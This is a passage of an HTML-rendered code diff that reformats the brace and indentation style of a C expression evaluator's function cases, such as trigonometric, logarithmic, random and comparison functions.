+                return err;
</ins><span class="cx"> 
</span><del>-    *val = d1;
</del><ins>+        *val = d1;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* pow */
</span><span class="cx"> case EXPR_NODEFUNC_POW:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = pow(d1, d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = pow(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* sqrt */
</span><span class="cx"> case EXPR_NODEFUNC_SQRT:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = sqrt(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sqrt(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* sin */
</span><span class="cx"> case EXPR_NODEFUNC_SIN:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = sin(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sin(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* sinh */
</span><span class="cx"> case EXPR_NODEFUNC_SINH:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = sinh(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sinh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* asin */
</span><span class="cx"> case EXPR_NODEFUNC_ASIN:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = asin(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = asin(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* cos */
</span><del>-case EXPR_NODEFUNC_COS: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_COS:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = cos(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = cos(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* cosh */
</span><del>-case EXPR_NODEFUNC_COSH: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_COSH:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = cosh(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = cosh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* acos */
</span><del>-case EXPR_NODEFUNC_ACOS: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_ACOS:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = acos(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = acos(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* tan */
</span><del>-case EXPR_NODEFUNC_TAN: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_TAN:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = tan(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = tan(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* tanh */
</span><del>-case EXPR_NODEFUNC_TANH: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_TANH:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = tanh(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = tanh(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* atan */
</span><del>-case EXPR_NODEFUNC_ATAN: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_ATAN:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = atan(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = atan(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* atan2 */
</span><del>-case EXPR_NODEFUNC_ATAN2: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+case EXPR_NODEFUNC_ATAN2:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = atan2(d1, d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = atan2(d1, d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* log */
</span><del>-case EXPR_NODEFUNC_LOG: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_LOG:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = log10(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = log10(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* pow10 */
</span><del>-case EXPR_NODEFUNC_POW10: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_POW10:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = pow(10.0, d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = pow(10.0, d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* ln */
</span><del>-case EXPR_NODEFUNC_LN: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_LN:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = log(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = log(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* exp */
</span><del>-case EXPR_NODEFUNC_EXP: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_EXP:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = exp(d1);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = exp(d1);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><del>-case EXPR_NODEFUNC_LOGN: 
-    {
-    EXPRTYPE l1, l2;
</del><ins>+case EXPR_NODEFUNC_LOGN:
+{
+        EXPRTYPE l1, l2;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        l1 = log(d1);
-        EXPR_CHECK_ERR();
-        l2 = log(d2);
-        EXPR_CHECK_ERR();
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                l1 = log(d1);
+                EXPR_CHECK_ERR();
+                l2 = log(d2);
+                EXPR_CHECK_ERR();
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-        if(l2 == 0.0)
-            {
</del><ins>+                if (l2 == 0.0) {
</ins><span class="cx"> #if(EXPR_ERROR_LEVEL &gt;= EXPR_ERROR_LEVEL_CHECK)
</span><del>-            return EXPR_ERROR_OUTOFRANGE;
</del><ins>+                        return EXPR_ERROR_OUTOFRANGE;
</ins><span class="cx"> #else
</span><del>-            *val = 0.0;
-            return EXPR_ERROR_NOERROR;
</del><ins>+                        *val = 0.0;
+                        return EXPR_ERROR_NOERROR;
</ins><span class="cx"> #endif
</span><del>-            }
</del><ins>+                }
</ins><span class="cx"> 
</span><del>-        *val = l1 / l2;
-        }
-    else
-        return err;
</del><ins>+                *val = l1 / l2;
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* ceil */
</span><del>-case EXPR_NODEFUNC_CEIL: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1); 
</del><ins>+case EXPR_NODEFUNC_CEIL:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        *val = ceil(d1);
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                *val = ceil(d1);
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* floor */
</span><del>-case EXPR_NODEFUNC_FLOOR: 
-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+case EXPR_NODEFUNC_FLOOR:
+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        *val = floor(d1);
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                *val = floor(d1);
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* rand */
</span><span class="cx"> case EXPR_NODEFUNC_RAND:
</span><del>-    {
-    long a;
-    
-    /* Perform random routine directly */
-    a = ((long)(*(nodes-&gt;data.function.refs[0]))) * 214013L + 2531011L;
-    *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE)a;
</del><ins>+{
+        long a;
</ins><span class="cx"> 
</span><del>-    *val =  (EXPRTYPE)((a &gt;&gt; 16) &amp; 0x7FFF) / (EXPRTYPE)(32768);
-    break;
-    }
</del><ins>+        /* Perform random routine directly */
+        a = ((long) (*(nodes-&gt;data.function.refs[0]))) * 214013L + 2531011L;
+        *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE) a;
</ins><span class="cx"> 
</span><ins>+        *val = (EXPRTYPE) ((a &gt;&gt; 16) &amp; 0x7FFF) / (EXPRTYPE) (32768);
+        break;
+}
+
</ins><span class="cx"> /* random */
</span><span class="cx"> case EXPR_NODEFUNC_RANDOM:
</span><del>-    {
-    EXPRTYPE diff, rval;
-    long a;
</del><ins>+{
+        EXPRTYPE diff, rval;
+        long a;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        diff = d2 - d1;
</del><ins>+        if (!err) {
+                diff = d2 - d1;
</ins><span class="cx"> 
</span><del>-        /* Perform random routine directly */
-        a = ((long)(*(nodes-&gt;data.function.refs[0]))) * 214013L + 2531011L;
-        *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE)a;
</del><ins>+                /* Perform random routine directly */
+                a = ((long) (*(nodes-&gt;data.function.refs[0]))) * 214013L + 2531011L;
+                *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE) a;
</ins><span class="cx"> 
</span><del>-        rval = (EXPRTYPE)((a &gt;&gt; 16) &amp; 0x7FFF) / (EXPRTYPE)(32767);
</del><ins>+                rval = (EXPRTYPE) ((a &gt;&gt; 16) &amp; 0x7FFF) / (EXPRTYPE) (32767);
</ins><span class="cx"> 
</span><del>-        *val = (rval * diff) + d1;
-        }
-    else
-        return err;
</del><ins>+                *val = (rval * diff) + d1;
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* randomize */
</span><span class="cx"> case EXPR_NODEFUNC_RANDOMIZE:
</span><del>-    {
-    static int curcall = 0;
</del><ins>+{
+        static int curcall = 0;
</ins><span class="cx"> 
</span><del>-    curcall++;
</del><ins>+        curcall++;
</ins><span class="cx"> 
</span><del>-    *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE)((clock() + 1024 + curcall) * time(NULL));
</del><ins>+        *(nodes-&gt;data.function.refs[0]) = (EXPRTYPE) ((clock() + 1024 + curcall) * time(NULL));
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* deg */
</span><span class="cx"> case EXPR_NODEFUNC_DEG:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        {
-        *val = (180.0 * d1) / M_PI;
-        }
-    else
-        return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                *val = (180.0 * d1) / M_PI;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* rad */
</span><span class="cx"> case EXPR_NODEFUNC_RAD:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
-    
-    if(!err)
-        {
-        *val = (M_PI * d1) / 180.0;
-        }
-    else
-        return err;
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                *val = (M_PI * d1) / 180.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* recttopolr */
</span><span class="cx"> case EXPR_NODEFUNC_RECTTOPOLR:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = sqrt((d1 * d1) + (d2 * d2));
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = sqrt((d1 * d1) + (d2 * d2));
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* recttopola */
</span><span class="cx"> case EXPR_NODEFUNC_RECTTOPOLA:
</span><del>-    {
-    EXPRTYPE tmp;
</del><ins>+{
+        EXPRTYPE tmp;
</ins><span class="cx"> 
</span><del>-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        tmp = atan2(d2, d1);
-        EXPR_CHECK_ERR();
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-        if(tmp &lt; 0.0)
-            *val = tmp = (2.0 * M_PI);
-        else
-            *val = tmp;
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                tmp = atan2(d2, d1);
+                EXPR_CHECK_ERR();
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+                if (tmp &lt; 0.0)
+                        *val = tmp = (2.0 * M_PI);
+                else
+                        *val = tmp;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poltorectx */
</span><span class="cx"> case EXPR_NODEFUNC_POLTORECTX:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = d1 * cos(d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = d1 * cos(d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* poltorecty */
</span><span class="cx"> case EXPR_NODEFUNC_POLTORECTY:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        EXPR_RESET_ERR();
-        *val = d1 * sin(d2);
-        EXPR_CHECK_ERR();
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                EXPR_RESET_ERR();
+                *val = d1 * sin(d2);
+                EXPR_CHECK_ERR();
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* if */
</span><span class="cx"> case EXPR_NODEFUNC_IF:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        if(d1 != 0.0)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, val);
-            if(err)
-                return err;
-            }
-        else
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
-            if(err)
-                return err;
-            }
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                if (d1 != 0.0) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, val);
+                        if (err)
+                                return err;
+                } else {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
+                        if (err)
+                                return err;
+                }
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* select */
</span><span class="cx"> case EXPR_NODEFUNC_SELECT:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        {
-        if(d1 &lt; 0.0)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, val);
-            if(err)
-                return err;
-            }
-        else if(d1 == 0.0)
-            {
-            err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
-            if(err)
-                return err;
-            }
-        else
-            {
-            if(nodes-&gt;data.function.nodecount == 3)
-                {
-                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
-                if(err)
-                    return err;
-                }
-            else
-                {
-                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 3, val);
-                if(err)
-                    return err;
-                }
-            }
-        }
-    else
-        return err;
</del><ins>+        if (!err) {
+                if (d1 &lt; 0.0) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, val);
+                        if (err)
+                                return err;
+                } else if (d1 == 0.0) {
+                        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
+                        if (err)
+                                return err;
+                } else {
+                        if (nodes-&gt;data.function.nodecount == 3) {
+                                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 2, val);
+                                if (err)
+                                        return err;
+                        } else {
+                                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 3, val);
+                                if (err)
+                                        return err;
+                        }
+                }
+        } else
+                return err;
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        break;
+}
</ins><span class="cx"> 
</span><span class="cx"> /* equal */
</span><span class="cx"> case EXPR_NODEFUNC_EQUAL:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        *val = (d1 == d2) ? 1.0 : 0.0;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                *val = (d1 == d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* above */
</span><span class="cx"> case EXPR_NODEFUNC_ABOVE:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        *val = (d1 &gt; d2) ? 1.0 : 0.0;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
+                *val = (d1 &gt; d2) ? 1.0 : 0.0;
+        } else
+                return err;
</ins><span class="cx"> 
</span><ins>+        break;
+}
+
</ins><span class="cx"> /* below */
</span><span class="cx"> case EXPR_NODEFUNC_BELOW:
</span><del>-    {
-    err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</del><ins>+{
+        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 0, &amp;d1);
</ins><span class="cx"> 
</span><del>-    if(!err)
-        err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
-    
-    if(!err)
-        {
-        *val = (d1 &lt; d2) ? 1.0 : 0.0;
-        }
-    else
-        return err;
</del><ins>+        if (!err)
+                err = exprEvalNode(obj, nodes-&gt;data.function.nodes, 1, &amp;d2);
</ins><span class="cx"> 
</span><del>-    break;
-    }
</del><ins>+        if (!err) {
